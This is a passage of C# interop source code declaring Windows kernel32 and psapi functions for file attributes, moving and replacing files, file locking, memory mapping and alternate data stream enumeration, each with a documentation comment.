\"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetCompressedFileSizeW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetCompressedFileSize([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] out uint lpFileSizeHigh);\n\n      /// <summary>Retrieves the actual number of bytes of disk storage used to store a specified file as a transacted operation.</summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is the low-order DWORD of the actual number of bytes of disk storage used to store the\n      ///   specified file, and if lpFileSizeHigh is non-NULL, the function puts the high-order DWORD of that actual value into the DWORD\n      ///   pointed to by that parameter. This is the compressed file size for compressed files, the actual file size for noncompressed files.\n      ///   If the function fails, and lpFileSizeHigh is NULL, the return value is INVALID_FILE_SIZE. To get extended error information, call\n      ///   GetLastError. If the return value is INVALID_FILE_SIZE and lpFileSizeHigh is non-NULL, an application must call GetLastError to\n      ///   determine whether the function has succeeded (value is NO_ERROR) or failed (value is other than NO_ERROR).\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetCompressedFileSizeTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetCompressedFileSizeTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] out uint lpFileSizeHigh, SafeHandle hTransaction);\n\n      /// <summary>\n      ///   Retrieves attributes for a specified file or directory.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The GetFileAttributes function retrieves file system attribute information.</para>\n      ///   <para>GetFileAttributesEx can obtain other sets of file or directory attribute information.</para>\n      ///   <para>Currently, GetFileAttributesEx retrieves a set of standard attributes that is a superset of the file system attribute\n      ///   information.\n      ///   When the GetFileAttributesEx function is called on a directory that is a mounted folder, it returns the attributes of the directory,\n      ///   not those of the root directory in the volume that the mounted folder associates with the directory. To obtain the attributes of\n      ///   the associated volume, call GetVolumeNameForVolumeMountPoint to obtain the name of the associated volume. Then use the resulting\n      ///   name in a call to GetFileAttributesEx. The results are the attributes of the root directory on the associated volume.</para>\n      ///   <para>Symbolic link behavior: If the path points to a symbolic link, the function returns attributes for the symbolic link.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetFileAttributesExW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetFileAttributesEx([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] GET_FILEEX_INFO_LEVELS fInfoLevelId, out WIN32_FILE_ATTRIBUTE_DATA lpFileInformation);\n\n      /// <summary>Retrieves attributes for a specified file or directory.</summary>\n      /// <remarks>\n      ///   <para>The GetFileAttributes function retrieves file system attribute information.</para>\n      ///   <para>GetFileAttributesEx can obtain other sets of file or directory attribute information.</para>\n      ///   <para>\n      ///   Currently, GetFileAttributesEx retrieves a set of standard attributes that is a superset of the file system attribute information.\n      ///   When the GetFileAttributesEx function is called on a directory that is a mounted folder, it returns the attributes of the directory,\n      ///   not those of the root directory in the volume that the mounted folder associates with the directory. To obtain the attributes of\n      ///   the associated volume, call GetVolumeNameForVolumeMountPoint to obtain the name of the associated volume. Then use the resulting\n      ///   name in a call to GetFileAttributesEx. The results are the attributes of the root directory on the associated volume.</para>\n      ///   <para>Symbolic link behavior: If the path points to a symbolic link, the function returns attributes for the symbolic link.</para>\n      ///   <para>Transacted Operations</para>\n      ///   <para>If a file is open for modification in a transaction, no other thread can open the file for modification until the transaction\n      ///   is committed. Conversely, if a file is open for modification outside of a transaction, no transacted thread can open the file for\n      ///   modification until the non-transacted handle is closed. If a non-transacted thread has a handle opened to modify a file, a call to\n      ///   GetFileAttributesTransacted for that file will fail with an ERROR_TRANSACTIONAL_CONFLICT error.</para>\n      ///   <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetFileAttributesTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetFileAttributesTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] GET_FILEEX_INFO_LEVELS fInfoLevelId, out WIN32_FILE_ATTRIBUTE_DATA lpFileInformation, SafeHandle hTransaction);\n\n      /// <summary>Retrieves file information for the specified file.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero and file information data is contained in the buffer pointed to by the lpByHandleFileInformation parameter.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>\n      /// Depending on the underlying network features of the operating system and the type of server connected to,\n      /// the GetFileInformationByHandle function may fail, return partial information, or full information for the given file.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetFileInformationByHandle(SafeFileHandle hFile, [MarshalAs(UnmanagedType.Struct)] out BY_HANDLE_FILE_INFORMATION lpByHandleFileInformation);\n\n      /// <summary>Retrieves file information for the specified file.</summary>\n      /// <remarks>\n      ///   <para>Minimum supported client: Windows Vista [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2008 [desktop apps | Windows Store apps]</para>\n      ///   <para>Redistributable: Windows SDK on Windows Server 2003 and Windows XP.</para>\n      /// </remarks>\n      /// <param name=\"hFile\">The file.</param>\n      /// <param name=\"fileInfoByHandleClass\">The file information by handle class.</param>\n      /// <param name=\"lpFileInformation\">Information describing the file.</param>\n      /// <param name=\"dwBufferSize\">Size of the buffer.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero and file information data is contained in the buffer pointed to by the\n      ///   lpByHandleFileInformation parameter.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetFileInformationByHandleEx(SafeFileHandle hFile, [MarshalAs(UnmanagedType.I4)] FILE_INFO_BY_HANDLE_CLASS fileInfoByHandleClass, SafeGlobalMemoryBufferHandle lpFileInformation, [MarshalAs(UnmanagedType.U4)] uint dwBufferSize);\n\n      /// <summary>Retrieves file information for the specified file.</summary>\n      /// <remarks>\n      ///   <para>Minimum supported client: Windows Vista [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2008 [desktop apps | Windows Store apps]</para>\n      ///   <para>Redistributable: Windows SDK on Windows Server 2003 and Windows XP.</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero and file information data is contained in the buffer pointed to by the\n      ///   lpByHandleFileInformation parameter.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      /// <param name=\"hFile\">The file.</param>\n      /// <param name=\"fileInfoByHandleClass\">The file information by handle class.</param>\n      /// <param name=\"lpFileInformation\">Information describing the file.</param>\n      /// <param name=\"dwBufferSize\">Size of the buffer.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetFileInformationByHandleEx\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetFileInformationByHandleEx_FileBasicInfo(SafeFileHandle hFile, [MarshalAs(UnmanagedType.I4)] FILE_INFO_BY_HANDLE_CLASS fileInfoByHandleClass, [MarshalAs(UnmanagedType.Struct)] out FILE_BASIC_INFO lpFileInformation, [MarshalAs(UnmanagedType.U4)] uint dwBufferSize);\n\n      /// <summary>Retrieves the size of the specified file.</summary>\n      /// <remarks>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetFileSizeEx(SafeFileHandle hFile, out long lpFileSize);\n\n      /// <summary>Retrieves the final path for the specified file.</summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetFinalPathNameByHandleW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetFinalPathNameByHandle(SafeFileHandle hFile, StringBuilder lpszFilePath, [MarshalAs(UnmanagedType.U4)] uint cchFilePath, FinalPathFormats dwFlags);\n\n      /// <summary>\n      ///   Checks whether the specified address is within a memory-mapped file in the address space of the specified process. If so, the\n      ///   function returns the name of the memory-mapped file.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"psapi.dll\", SetLastError = false, CharSet = CharSet.Unicode, EntryPoint = \"GetMappedFileNameW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetMappedFileName(IntPtr hProcess, SafeLocalMemoryBufferHandle lpv, StringBuilder lpFilename, [MarshalAs(UnmanagedType.U4)] uint nSize);\n\n      /// <summary>Locks the specified file for exclusive access by the calling process.</summary>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero (TRUE). If the function fails, the return value is zero (FALSE). To get\n      ///   extended error information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool LockFile(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetLow, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetHigh, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToLockLow, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToLockHigh);\n\n      /// <summary>Maps a view of a file mapping into the address space of a calling process.</summary>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is the starting address of the mapped view. If the function fails, the return value is\n      ///   <c>null</c>.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeLocalMemoryBufferHandle MapViewOfFile(SafeFileHandle hFileMappingObject, [MarshalAs(UnmanagedType.U4)] uint dwDesiredAccess, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetHigh, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetLow, UIntPtr dwNumberOfBytesToMap);\n\n      /// <summary>\n      ///   Moves a file or directory, including its children.\n      ///   <para>You can provide a callback function that receives progress notifications.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>The MoveFileWithProgress function coordinates its operation with the link tracking service, so link sources can be tracked as they are moved.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"lpExistingFileName\">Filename of the existing file.</param>\n      /// <param name=\"lpNewFileName\">Filename of the new file.</param>\n      /// <param name=\"lpProgressRoutine\">The progress routine.</param>\n      /// <param name=\"lpData\">The data.</param>\n      /// <param name=\"dwFlags\">The flags.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"MoveFileWithProgressW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool MoveFileWithProgress([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.U4)] MoveOptions dwFlags);\n\n      /// <summary>\n      ///   Moves an existing file or a directory, including its children, as a transacted operation.\n      ///   <para>You can provide a callback function that receives progress notifications.</para>      \n      /// </summary>\n      /// <remarks>\n      ///   <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>     \n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"MoveFileTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool MoveFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.U4)] MoveOptions dwCopyFlags, SafeHandle hTransaction);\n\n      /// <summary>An application-defined callback function used with the CopyFileEx, MoveFileTransacted, and MoveFileWithProgress functions.\n      /// <para>It is called when a portion of a copy or move operation is completed.</para>\n      /// <para>The LPPROGRESS_ROUTINE type defines a pointer to this callback function.</para>\n      /// <para>NativeCopyMoveProgressRoutine (NativeCopyMoveProgressRoutine) is a placeholder for the application-defined function name.</para>\n      /// </summary>\n      [SuppressUnmanagedCodeSecurity]\n      internal delegate CopyMoveProgressResult NativeCopyMoveProgressRoutine([MarshalAs(UnmanagedType.I8)] long totalFileSize, [MarshalAs(UnmanagedType.I8)] long totalBytesTransferred, [MarshalAs(UnmanagedType.I8)] long streamSize, [MarshalAs(UnmanagedType.I8)] long streamBytesTransferred, [MarshalAs(UnmanagedType.U4)] uint dwStreamNumber, [MarshalAs(UnmanagedType.U4)] CopyMoveProgressCallbackReason dwCallbackReason, IntPtr hSourceFile, IntPtr hDestinationFile, IntPtr lpData);\n\n      /// <summary>Replaces one file with another file, with the option of creating a backup copy of the original file. The replacement file assumes the name of the replaced file and its identity.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"ReplaceFileW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool ReplaceFile([MarshalAs(UnmanagedType.LPWStr)] string lpReplacedFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpReplacementFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpBackupFileName, FileSystemRights dwReplaceFlags, IntPtr lpExclude, IntPtr lpReserved);\n\n      /// <summary>Sets the attributes for a file or directory.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [SuppressMessage(\"Microsoft.Usage\", \"CA2205:UseManagedEquivalentsOfWin32Api\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"SetFileAttributesW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetFileAttributes([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileAttributes dwFileAttributes);\n\n      /// <summary>Sets the attributes for a file or directory as a transacted operation.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"SetFileAttributesTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetFileAttributesTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileAttributes dwFileAttributes, SafeHandle hTransaction);\n\n      /// <summary>Moves the file pointer of the specified file.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps | UWP apps]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps | UWP apps]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetFilePointerEx(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U8)] ulong liDistanceToMove, IntPtr lpNewFilePointer, [MarshalAs(UnmanagedType.U4)] SeekOrigin dwMoveMethod);\n\n      /// <summary>Sets the date and time that the specified file or directory was created, last accessed, or last modified.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetFileTime(SafeFileHandle hFile, SafeGlobalMemoryBufferHandle lpCreationTime, SafeGlobalMemoryBufferHandle lpLastAccessTime, SafeGlobalMemoryBufferHandle lpLastWriteTime);\n\n      /// <summary>Unlocks a region in an open file. Unlocking a region enables other processes to access the region.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool UnlockFile(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetLow, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetHigh, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToUnlockLow, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToUnlockHigh);\n\n      /// <summary>Unmaps a mapped view of a file from the calling process's address space.</summary>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <param name=\"lpBaseAddress\">The base address.</param>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool UnmapViewOfFile(SafeLocalMemoryBufferHandle lpBaseAddress);\n\n      \n      /// <summary>Enumerates the first stream with a ::$DATA stream type in the specified file or directory.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is a search handle that can be used in subsequent calls to the <see cref=\"FindNextStreamW\"/> function.\n      /// If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError.\n      /// If no streams can be found, the function fails and GetLastError returns <see cref=\"Win32Errors.ERROR_HANDLE_EOF\"/> (38).\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindFileHandle FindFirstStreamW(string lpFileName, STREAM_INFO_LEVELS infoLevel, SafeGlobalMemoryBufferHandle lpFindStreamData, int dwFlags);\n\n\n      /// <summary>Enumerates the first stream in the specified file or directory as a transacted operation.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is a search handle that can be used in subsequent calls to the <see cref=\"FindNextStreamW\"/> function.\n      /// If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindFileHandle FindFirstStreamTransactedW(string lpFileName, STREAM_INFO_LEVELS infoLevel, SafeGlobalMemoryBufferHandle lpFindStreamData, int dwFlags, SafeHandle hTransaction);\n\n\n      /// <summary>Continues a stream search started by a previous call to the <see cref=\"FindFirstStreamW\"/> function.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError. If no more streams can be found, GetLastError returns <see cref=\"Win32Errors.ERROR_HANDLE_EOF\"/> (38).\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindNextStreamW(SafeFindFileHandle handle, SafeGlobalMemoryBufferHandle lpFindStreamData);\n\n\n\n      #region Restart Manager\n\n      private const int CCH_RM_MAX_APP_NAME = 255;\n      private const int CCH_RM_MAX_SVC_NAME = 63;\n\n\n      